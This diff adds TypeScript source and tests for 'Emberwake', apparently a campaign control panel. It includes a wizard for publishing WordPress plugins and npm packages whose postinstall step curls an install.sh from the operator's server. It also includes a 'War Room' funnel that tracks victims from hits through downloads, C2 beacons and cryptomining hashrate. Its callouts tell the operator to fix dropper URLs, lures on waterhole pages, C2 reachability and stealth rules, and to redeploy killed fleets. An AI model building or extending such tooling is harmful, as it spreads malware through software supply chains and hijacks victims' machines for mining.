export function supplyChainHostingChecklistUrl(family: SupplyChainFamily): string {
|
||||
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
|
||||
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
|
||||
}
|
||||
|
||||
export interface HostingChecklistItem {
|
||||
id: string;
|
||||
label: string;
|
||||
}
|
||||
|
||||
export function hostingChecklist(family: SupplyChainFamily): HostingChecklistItem[] {
|
||||
if (family === 'wordpress') {
|
||||
return [
|
||||
{ id: 'unzip', label: 'Unzip the downloaded plugin archive locally' },
|
||||
{ id: 'upload', label: 'WP Admin → Plugins → Add New → Upload Plugin' },
|
||||
{ id: 'activate', label: 'Activate the plugin on your owned WordPress host' },
|
||||
{ id: 'verify', label: 'Confirm admin notice links to /get?c=wp-{site} on your deck' },
|
||||
{ id: 'track', label: 'Track wp-{site} hits in Emberwake → Campaign War Room' },
|
||||
];
|
||||
}
|
||||
return [
|
||||
{ id: 'unzip', label: 'Unzip the npm helper package template' },
|
||||
{ id: 'name', label: 'Adjust package.json name/scope if needed' },
|
||||
{ id: 'publish', label: 'Publish to a registry you control (private npm, Verdaccio, GitHub Packages)' },
|
||||
{ id: 'dep', label: 'Add as dependency only in authorized CI/dev environments' },
|
||||
{ id: 'verify', label: 'Run npm install and confirm postinstall curls install.sh' },
|
||||
];
|
||||
}
|
||||
|
||||
export interface HostingInstructionBlock {
|
||||
title: string;
|
||||
body: string;
|
||||
}
|
||||
|
||||
export function hostingInstructions(
|
||||
family: SupplyChainFamily,
|
||||
opts: { serverUrl: string; siteName: string; campaign: string; buildId: string },
|
||||
): HostingInstructionBlock[] {
|
||||
const { serverUrl, siteName, campaign, buildId } = opts;
|
||||
if (family === 'wordpress') {
|
||||
const slug = sanitizeExportSlug(siteName);
|
||||
const dl = wpDownloadUrl(serverUrl, siteName, buildId);
|
||||
return [
|
||||
{
|
||||
title: 'Upload path',
|
||||
body: `Plugins → Add New → Upload Plugin → choose ${slug}-wordpress-plugin.zip → Install Now → Activate`,
|
||||
},
|
||||
{
|
||||
title: 'Campaign tag',
|
||||
body: `War Room tracks connects as ?c=${wpCampaignSlug(siteName)}`,
|
||||
},
|
||||
{
|
||||
title: 'Download URL (plugin links here)',
|
||||
body: dl,
|
||||
},
|
||||
{
|
||||
title: 'Wiki playbook',
|
||||
body: supplyChainWikiUrl('wordpress'),
|
||||
},
|
||||
];
|
||||
}
|
||||
const pkg = npmPackageName(campaign);
|
||||
const install = npmInstallShUrl(serverUrl, campaign, buildId);
|
||||
return [
|
||||
{
|
||||
title: 'Package name',
|
||||
body: pkg,
|
||||
},
|
||||
{
|
||||
title: 'Publish',
|
||||
body: `cd unpacked-folder && npm publish --access restricted`,
|
||||
},
|
||||
{
|
||||
title: 'postinstall target',
|
||||
body: install,
|
||||
},
|
||||
{
|
||||
title: 'Wiki playbook',
|
||||
body: supplyChainWikiUrl('npm'),
|
||||
},
|
||||
];
|
||||
}
|
||||
|
||||
export function wizardStepIndex(step: SupplyChainWizardStep): number {
|
||||
return SUPPLY_CHAIN_WIZARD_STEPS.indexOf(step);
|
||||
}
|
||||
|
||||
export function wizardStepStatus(
|
||||
step: SupplyChainWizardStep,
|
||||
current: SupplyChainWizardStep,
|
||||
): 'pending' | 'active' | 'done' {
|
||||
const idx = wizardStepIndex(step);
|
||||
const cur = wizardStepIndex(current);
|
||||
if (idx < cur) return 'done';
|
||||
if (idx === cur) return 'active';
|
||||
return 'pending';
|
||||
}
|
||||
|
||||
/** Post-export deployment reel — three beats after a successful ZIP export. */
|
||||
export type DeploymentReelStepId = 'download' | 'upload' | 'verify-war-room';
|
||||
|
||||
export interface DeploymentReelStep {
|
||||
id: DeploymentReelStepId;
|
||||
label: string;
|
||||
/** When set, step label links to wiki or in-app anchor. */
|
||||
href?: string;
|
||||
}
|
||||
|
||||
export const DEPLOYMENT_REEL_STEP_IDS: DeploymentReelStepId[] = [
|
||||
'download',
|
||||
'upload',
|
||||
'verify-war-room',
|
||||
];
|
||||
|
||||
export const DEPLOYMENT_REEL_INITIAL_DELAY_MS = 400;
|
||||
export const DEPLOYMENT_REEL_STEP_MS = 900;
|
||||
|
||||
/** Wiki anchor for the upload/publish beat in the deployment reel. */
|
||||
export function deploymentReelUploadWikiUrl(family: SupplyChainFamily): string {
|
||||
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
|
||||
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
|
||||
}
|
||||
|
||||
/** In-app scroll target for War Room verification. */
|
||||
export const EMBERWAKE_WAR_ROOM_HASH = '#campaign-war-room';
|
||||
|
||||
export function emberwakeWarRoomUrl(): string {
|
||||
return `/emberwake${EMBERWAKE_WAR_ROOM_HASH}`;
|
||||
}
|
||||
|
||||
export function deploymentReelSteps(family: SupplyChainFamily): DeploymentReelStep[] {
|
||||
return [
|
||||
{ id: 'download', label: 'Download ZIP' },
|
||||
{ id: 'upload', label: 'Upload here', href: deploymentReelUploadWikiUrl(family) },
|
||||
{ id: 'verify-war-room', label: 'Verify hit in War Room', href: emberwakeWarRoomUrl() },
|
||||
];
|
||||
}
|
||||
|
||||
/** How many reel steps should show a completed checkmark at `elapsedMs`. */
|
||||
export function deploymentReelVisibleCount(elapsedMs: number, stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
|
||||
if (elapsedMs < DEPLOYMENT_REEL_INITIAL_DELAY_MS) return 0;
|
||||
const afterStart = elapsedMs - DEPLOYMENT_REEL_INITIAL_DELAY_MS;
|
||||
const count = Math.floor(afterStart / DEPLOYMENT_REEL_STEP_MS) + 1;
|
||||
return Math.min(Math.max(count, 0), stepCount);
|
||||
}
|
||||
|
||||
/** Index (0-based) of the step currently animating, or -1 before start / after all done. */
|
||||
export function deploymentReelActiveIndex(visibleCount: number, stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
|
||||
if (visibleCount <= 0) return 0;
|
||||
if (visibleCount >= stepCount) return -1;
|
||||
return visibleCount;
|
||||
}
|
||||
|
||||
export function deploymentReelStepStatus(
|
||||
stepIndex: number,
|
||||
visibleCount: number,
|
||||
): 'pending' | 'active' | 'done' {
|
||||
if (stepIndex < visibleCount) return 'done';
|
||||
if (stepIndex === visibleCount && visibleCount < DEPLOYMENT_REEL_STEP_IDS.length) return 'active';
|
||||
return 'pending';
|
||||
}
|
||||
|
||||
export function deploymentReelTotalDurationMs(stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
|
||||
return DEPLOYMENT_REEL_INITIAL_DELAY_MS + stepCount * DEPLOYMENT_REEL_STEP_MS;
|
||||
}
|
||||
346
server/web/src/help/warRoom.test.ts
Normal file
346
server/web/src/help/warRoom.test.ts
Normal file
@@ -0,0 +1,346 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
|
||||
import type { WarRoomCampaign } from './warRoom';
|
||||
|
||||
import {
|
||||
|
||||
conversionPct,
|
||||
|
||||
detectFunnelLeaks,
|
||||
|
||||
firstBeaconCount,
|
||||
|
||||
formatHashrate,
|
||||
|
||||
funnelPipeWidth,
|
||||
|
||||
funnelStages,
|
||||
|
||||
miningCount,
|
||||
|
||||
formatOdometerDelta,
|
||||
|
||||
odometerDurationMs,
|
||||
|
||||
odometerEase,
|
||||
|
||||
odometerLerp,
|
||||
|
||||
sparklineBarHeight,
|
||||
|
||||
sparklineMax,
|
||||
|
||||
staggerDelayMs,
|
||||
|
||||
stageConversionPct,
|
||||
|
||||
} from './warRoom';
|
||||
|
||||
|
||||
|
||||
function campaign(partial: Partial<WarRoomCampaign> & Pick<WarRoomCampaign, 'campaign'>): WarRoomCampaign {
|
||||
|
||||
return {
|
||||
|
||||
hits: 0,
|
||||
|
||||
downloads: 0,
|
||||
|
||||
agents: 0,
|
||||
|
||||
online: 0,
|
||||
|
||||
hashrate: 0,
|
||||
|
||||
conversion_pct: 0,
|
||||
|
||||
daily_hits: [],
|
||||
|
||||
...partial,
|
||||
|
||||
};
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
describe('warRoom helpers', () => {
|
||||
|
||||
it('computes conversion percentage', () => {
|
||||
|
||||
expect(conversionPct(3, 10)).toBe(30);
|
||||
|
||||
expect(conversionPct(1, 3)).toBe(33.3);
|
||||
|
||||
expect(conversionPct(0, 0)).toBe(0);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('computes stage conversion percentage', () => {
|
||||
|
||||
expect(stageConversionPct(5, 20)).toBe(25);
|
||||
|
||||
expect(stageConversionPct(0, 0)).toBe(0);
|
||||
|
||||
expect(stageConversionPct(3, 10)).toBe(30);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('formats hashrate tiers', () => {
|
||||
|
||||
expect(formatHashrate(0)).toBe('—');
|
||||
|
||||
expect(formatHashrate(850)).toBe('850 H/s');
|
||||
|
||||
expect(formatHashrate(12_500)).toBe('12.5 kH/s');
|
||||
|
||||
expect(formatHashrate(2_400_000)).toBe('2.40 MH/s');
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('scales sparkline bars', () => {
|
||||
|
||||
const max = sparklineMax([2, 8, 4]);
|
||||
|
||||
expect(max).toBe(8);
|
||||
|
||||
expect(sparklineBarHeight(8, max)).toBe(100);
|
||||
|
||||
expect(sparklineBarHeight(0, max)).toBe(4);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('builds five-stage funnel with rates', () => {
|
||||
|
||||
const c = campaign({
|
||||
|
||||
campaign: 'wave-a',
|
||||
|
||||
hits: 100,
|
||||
|
||||
downloads: 40,
|
||||
|
||||
first_beacon: 10,
|
||||
|
||||
mining: 8,
|
||||
|
||||
agents: 10,
|
||||
|
||||
hashrate: 5000,
|
||||
|
||||
});
|
||||
|
||||
const stages = funnelStages(c);
|
||||
|
||||
expect(stages).toHaveLength(5);
|
||||
|
||||
expect(stages[0].rateFromPrev).toBeNull();
|
||||
|
||||
expect(stages[1].rateFromPrev).toBe(40);
|
||||
|
||||
expect(stages[2].rateFromPrev).toBe(25);
|
||||
|
||||
expect(stages[3].rateFromPrev).toBe(80);
|
||||
|
||||
expect(stages[4].display).toBe('5.0 kH/s');
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('falls back first_beacon and mining from legacy fields', () => {
|
||||
|
||||
const c = campaign({ campaign: 'legacy', agents: 4, hashrate: 900 });
|
||||
|
||||
expect(firstBeaconCount(c)).toBe(4);
|
||||
|
||||
expect(miningCount(c)).toBe(1);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('sizes funnel pipes relative to hits', () => {
|
||||
|
||||
expect(funnelPipeWidth(50, 100)).toBe(50);
|
||||
|
||||
expect(funnelPipeWidth(0, 100)).toBe(8);
|
||||
|
||||
expect(funnelPipeWidth(1200, 0, true)).toBe(100);
|
||||
|
||||
expect(funnelPipeWidth(0, 0, true)).toBe(8);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('formats odometer deltas', () => {
|
||||
|
||||
expect(formatOdometerDelta(10, 10)).toBeNull();
|
||||
|
||||
expect(formatOdometerDelta(10, 13)).toBe('+3');
|
||||
|
||||
expect(formatOdometerDelta(100, 95)).toBe('−5');
|
||||
|
||||
expect(formatOdometerDelta(0, 12500)).toBe('+12.5k');
|
||||
|
||||
expect(formatOdometerDelta(1_000_000, 2_500_000)).toBe('+1.5M');
|
||||
|
||||
expect(formatOdometerDelta(33.2, 34.7)).toBe('+1.5');
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('staggers animation delays per card and stage', () => {
|
||||
|
||||
expect(staggerDelayMs(0, 0)).toBe(0);
|
||||
|
||||
expect(staggerDelayMs(1, 2)).toBe(110 + 90);
|
||||
|
||||
expect(staggerDelayMs(2, 3, 50)).toBe(220 + 150);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('scales odometer duration with delta magnitude', () => {
|
||||
|
||||
expect(odometerDurationMs(2)).toBe(380);
|
||||
|
||||
expect(odometerDurationMs(20)).toBe(560);
|
||||
|
||||
expect(odometerDurationMs(150)).toBe(720);
|
||||
|
||||
expect(odometerDurationMs(500)).toBe(920);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('eases and lerps odometer values', () => {
|
||||
|
||||
expect(odometerEase(0)).toBe(0);
|
||||
|
||||
expect(odometerEase(1)).toBe(1);
|
||||
|
||||
expect(odometerEase(0.5)).toBeCloseTo(0.875, 3);
|
||||
|
||||
expect(odometerLerp(10, 20, 0)).toBe(10);
|
||||
|
||||
expect(odometerLerp(10, 20, 1)).toBe(20);
|
||||
|
||||
expect(odometerLerp(0, 100, 0.5)).toBeCloseTo(87.5, 1);
|
||||
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
describe('detectFunnelLeaks', () => {
|
||||
|
||||
it('flags hits with no downloads', () => {
|
||||
|
||||
const leaks = detectFunnelLeaks(campaign({ campaign: 'a', hits: 25, downloads: 0 }));
|
||||
|
||||
expect(leaks.some((l) => l.stage === 'hits→downloads')).toBe(true);
|
||||
|
||||
expect(leaks[0].action).toMatch(/waterhole|dropper/i);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('flags critical leak when many hits but zero beacons', () => {
|
||||
|
||||
const leaks = detectFunnelLeaks(campaign({ campaign: 'b', hits: 60, downloads: 12 }));
|
||||
|
||||
const critical = leaks.find((l) => l.stage === 'hits→beacon');
|
||||
|
||||
expect(critical?.severity).toBe('critical');
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('flags downloads without beacon', () => {
|
||||
|
||||
const leaks = detectFunnelLeaks(campaign({ campaign: 'c', hits: 10, downloads: 8 }));
|
||||
|
||||
expect(leaks.some((l) => l.stage === 'downloads→beacon')).toBe(true);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('flags beacons that never mine', () => {
|
||||
|
||||
const leaks = detectFunnelLeaks(
|
||||
|
||||
campaign({ campaign: 'd', hits: 30, downloads: 15, first_beacon: 5, agents: 5, mining: 0 }),
|
||||
|
||||
);
|
||||
|
||||
expect(leaks.some((l) => l.stage === 'beacon→mining')).toBe(true);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('returns empty when funnel is healthy', () => {
|
||||
|
||||
const leaks = detectFunnelLeaks(
|
||||
|
||||
campaign({
|
||||
|
||||
campaign: 'ok',
|
||||
|
||||
hits: 10,
|
||||
|
||||
downloads: 5,
|
||||
|
||||
first_beacon: 2,
|
||||
|
||||
mining: 2,
|
||||
|
||||
agents: 2,
|
||||
|
||||
hashrate: 3000,
|
||||
|
||||
online: 1,
|
||||
|
||||
}),
|
||||
|
||||
);
|
||||
|
||||
expect(leaks).toHaveLength(0);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('sorts critical leaks before warnings', () => {
|
||||
|
||||
const leaks = detectFunnelLeaks(
|
||||
|
||||
campaign({ campaign: 'e', hits: 80, downloads: 30, first_beacon: 0, agents: 0 }),
|
||||
|
||||
);
|
||||
|
||||
expect(leaks.length).toBeGreaterThan(0);
|
||||
|
||||
expect(leaks[0].severity).toBe('critical');
|
||||
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
231
server/web/src/help/warRoom.ts
Normal file
231
server/web/src/help/warRoom.ts
Normal file
@@ -0,0 +1,231 @@
|
||||
/** War Room funnel helpers for Emberwake campaign dashboard. */
|
||||
|
||||
export interface WarRoomCampaign {
|
||||
campaign: string;
|
||||
hits: number;
|
||||
downloads: number;
|
||||
first_beacon?: number;
|
||||
mining?: number;
|
||||
agents: number;
|
||||
online: number;
|
||||
hashrate: number;
|
||||
conversion_pct: number;
|
||||
daily_hits: number[];
|
||||
last_activity?: string;
|
||||
pins?: string[];
|
||||
}
|
||||
|
||||
export interface WarRoomResponse {
|
||||
generated_at: string;
|
||||
days: number;
|
||||
campaigns: WarRoomCampaign[];
|
||||
}
|
||||
|
||||
export type FunnelStageId = 'hits' | 'downloads' | 'first_beacon' | 'mining' | 'hashrate';
|
||||
|
||||
export interface FunnelStage {
|
||||
id: FunnelStageId;
|
||||
label: string;
|
||||
value: number;
|
||||
display: string;
|
||||
/** Conversion from previous stage (0 for first stage). */
|
||||
rateFromPrev: number | null;
|
||||
}
|
||||
|
||||
export type FunnelLeakSeverity = 'warn' | 'critical';
|
||||
|
||||
export interface FunnelLeak {
|
||||
stage: string;
|
||||
severity: FunnelLeakSeverity;
|
||||
message: string;
|
||||
action: string;
|
||||
}
|
||||
|
||||
/** Agents ÷ hits × 100, rounded to one decimal. */
|
||||
export function conversionPct(agents: number, hits: number): number {
|
||||
if (hits <= 0) return 0;
|
||||
return Math.round((agents / hits) * 1000) / 10;
|
||||
}
|
||||
|
||||
/** Stage-to-stage conversion %, rounded to one decimal. */
|
||||
export function stageConversionPct(to: number, from: number): number {
|
||||
if (from <= 0) return 0;
|
||||
return Math.round((to / from) * 1000) / 10;
|
||||
}
|
||||
|
||||
/** Resolved first-beacon count (falls back to agents for older payloads). */
|
||||
export function firstBeaconCount(c: WarRoomCampaign): number {
|
||||
if (c.first_beacon != null) return c.first_beacon;
|
||||
return c.agents ?? 0;
|
||||
}
|
||||
|
||||
/** Resolved mining count (agents with hashrate > 0). */
|
||||
export function miningCount(c: WarRoomCampaign): number {
|
||||
if (c.mining != null) return c.mining;
|
||||
return c.hashrate > 0 ? 1 : 0;
|
||||
}
|
||||
|
||||
/** Left-to-right funnel stages for a campaign card. */
|
||||
export function funnelStages(c: WarRoomCampaign): FunnelStage[] {
|
||||
const beacon = firstBeaconCount(c);
|
||||
const mining = miningCount(c);
|
||||
const hits = c.hits ?? 0;
|
||||
const downloads = c.downloads ?? 0;
|
||||
|
||||
return [
|
||||
{ id: 'hits', label: 'Hits', value: hits, display: String(hits), rateFromPrev: null },
|
||||
{
|
||||
id: 'downloads',
|
||||
label: 'Downloads',
|
||||
value: downloads,
|
||||
display: String(downloads),
|
||||
rateFromPrev: stageConversionPct(downloads, hits),
|
||||
},
|
||||
{
|
||||
id: 'first_beacon',
|
||||
label: 'First beacon',
|
||||
value: beacon,
|
||||
display: String(beacon),
|
||||
rateFromPrev: stageConversionPct(beacon, downloads),
|
||||
},
|
||||
{
|
||||
id: 'mining',
|
||||
label: 'Mining',
|
||||
value: mining,
|
||||
display: String(mining),
|
||||
rateFromPrev: stageConversionPct(mining, beacon),
|
||||
},
|
||||
{
|
||||
id: 'hashrate',
|
||||
label: 'Hashrate',
|
||||
value: c.hashrate ?? 0,
|
||||
display: formatHashrate(c.hashrate),
|
||||
rateFromPrev: mining > 0 && (c.hashrate ?? 0) > 0 ? 100 : stageConversionPct(c.hashrate > 0 ? 1 : 0, mining),
|
||||
},
|
||||
];
|
||||
}
|
||||
|
||||
/** Max pipe fill width (0–100) relative to funnel entry hits. */
|
||||
export function funnelPipeWidth(stageValue: number, hits: number, isHashrate = false): number {
|
||||
if (isHashrate) {
|
||||
return stageValue > 0 ? 100 : 8;
|
||||
}
|
||||
if (hits <= 0) return stageValue > 0 ? 100 : 8;
|
||||
return Math.max(8, Math.round((stageValue / hits) * 100));
|
||||
}
|
||||
|
||||
/**
|
||||
* Detect funnel leaks — actionable callouts when a stage drops sharply.
|
||||
* Returns highest-severity leaks first.
|
||||
*/
|
||||
export function detectFunnelLeaks(c: WarRoomCampaign): FunnelLeak[] {
|
||||
const hits = c.hits ?? 0;
|
||||
const downloads = c.downloads ?? 0;
|
||||
const beacon = firstBeaconCount(c);
|
||||
const mining = miningCount(c);
|
||||
const leaks: FunnelLeak[] = [];
|
||||
|
||||
if (hits >= 50 && beacon === 0) {
|
||||
leaks.push({
|
||||
stage: 'hits→beacon',
|
||||
severity: 'critical',
|
||||
message: `${hits} hits but zero agents — funnel dead before beacon.`,
|
||||
action: 'Verify dropper URL, install script, and C2 reachability from target network.',
|
||||
});
|
||||
} else if (hits >= 20 && downloads === 0) {
|
||||
leaks.push({
|
||||
stage: 'hits→downloads',
|
||||
severity: 'warn',
|
||||
message: `${hits} page hits with no downloads.`,
|
||||
action: 'Check lure CTA, blocked hosts, or broken /get link on the waterhole.',
|
||||
});
|
||||
}
|
||||
|
||||
if (downloads >= 5 && beacon === 0) {
|
||||
leaks.push({
|
||||
stage: 'downloads→beacon',
|
||||
severity: 'critical',
|
||||
message: `${downloads} downloads but no first beacon.`,
|
||||
action: 'Worker may fail install — confirm server URL, TLS, and agent binary for target OS.',
|
||||
});
|
||||
}
|
||||
|
||||
if (beacon >= 3 && mining === 0) {
|
||||
leaks.push({
|
||||
stage: 'beacon→mining',
|
||||
severity: 'warn',
|
||||
message: `${beacon} agents connected but none mining.`,
|
||||
action: 'Check pool/wallet in build, idle policy, GPU drivers, or Crucible schedule.',
|
||||
});
|
||||
}
|
||||
|
||||
if (beacon > 0 && mining > 0 && (c.hashrate ?? 0) <= 0 && (c.online ?? 0) === 0) {
|
||||
leaks.push({
|
||||
stage: 'mining→hashrate',
|
||||
severity: 'warn',
|
||||
message: 'Agents mined before but fleet is offline with zero hashrate.',
|
||||
action: 'Fleet may have been killed — re-deploy or check stealth / idle resume rules.',
|
||||
});
|
||||
}
|
||||
|
||||
const order: Record<FunnelLeakSeverity, number> = { critical: 0, warn: 1 };
|
||||
leaks.sort((a, b) => order[a.severity] - order[b.severity]);
|
||||
return leaks;
|
||||
}
|
||||
|
||||
/** Compact hashrate for table cells (H/s). */
|
||||
export function formatHashrate(hs: number): string {
|
||||
if (!hs || hs <= 0) return '—';
|
||||
if (hs >= 1_000_000) return `${(hs / 1_000_000).toFixed(2)} MH/s`;
|
||||
if (hs >= 1_000) return `${(hs / 1_000).toFixed(1)} kH/s`;
|
||||
return `${Math.round(hs)} H/s`;
|
||||
}
|
||||
|
||||
/** Max value in a daily hits series (for sparkline scaling). */
|
||||
export function sparklineMax(values: number[]): number {
|
||||
if (!values.length) return 1;
|
||||
return Math.max(1, ...values);
|
||||
}
|
||||
|
||||
/** Inline height % for CSS bar sparkline (0–100). */
|
||||
export function sparklineBarHeight(value: number, max: number): number {
|
||||
if (max <= 0 || value <= 0) return 4;
|
||||
return Math.max(8, Math.round((value / max) * 100));
|
||||
}
|
||||
|
||||
/** Compact delta label for odometer tick-ups (null when unchanged). */
|
||||
export function formatOdometerDelta(prev: number, next: number): string | null {
|
||||
const delta = next - prev;
|
||||
if (delta === 0 || !Number.isFinite(delta)) return null;
|
||||
const sign = delta > 0 ? '+' : '−';
|
||||
const abs = Math.abs(delta);
|
||||
if (abs >= 1_000_000) return `${sign}${(abs / 1_000_000).toFixed(1)}M`;
|
||||
if (abs >= 10_000) return `${sign}${(abs / 1_000).toFixed(1)}k`;
|
||||
if (Number.isInteger(abs) || abs >= 100) return `${sign}${Math.round(abs)}`;
|
||||
return `${sign}${abs.toFixed(1)}`;
|
||||
}
|
||||
|
||||
/** Stagger delay (ms) for funnel card stage animations. */
|
||||
export function staggerDelayMs(cardIndex: number, itemIndex: number, baseMs = 45): number {
|
||||
return cardIndex * 110 + itemIndex * baseMs;
|
||||
}
|
||||
|
||||
/** Eased tick duration scales with magnitude of change. */
|
||||
export function odometerDurationMs(delta: number): number {
|
||||
const abs = Math.abs(delta);
|
||||
if (abs <= 3) return 380;
|
||||
if (abs <= 25) return 560;
|
||||
if (abs <= 200) return 720;
|
||||
return 920;
|
||||
}
|
||||
|
||||
/** Cubic ease-out for odometer interpolation (0 → 1). */
|
||||
export function odometerEase(t: number): number {
|
||||
const clamped = Math.min(1, Math.max(0, t));
|
||||
return 1 - (1 - clamped) ** 3;
|
||||
}
|
||||
|
||||
/** Interpolate between two numeric endpoints with odometer easing. */
|
||||
export function odometerLerp(from: number, to: number, progress: number): number {
|
||||
return from + (to - from) * odometerEase(progress);
|
||||
}
|
||||
Reference in New Issue
Block a user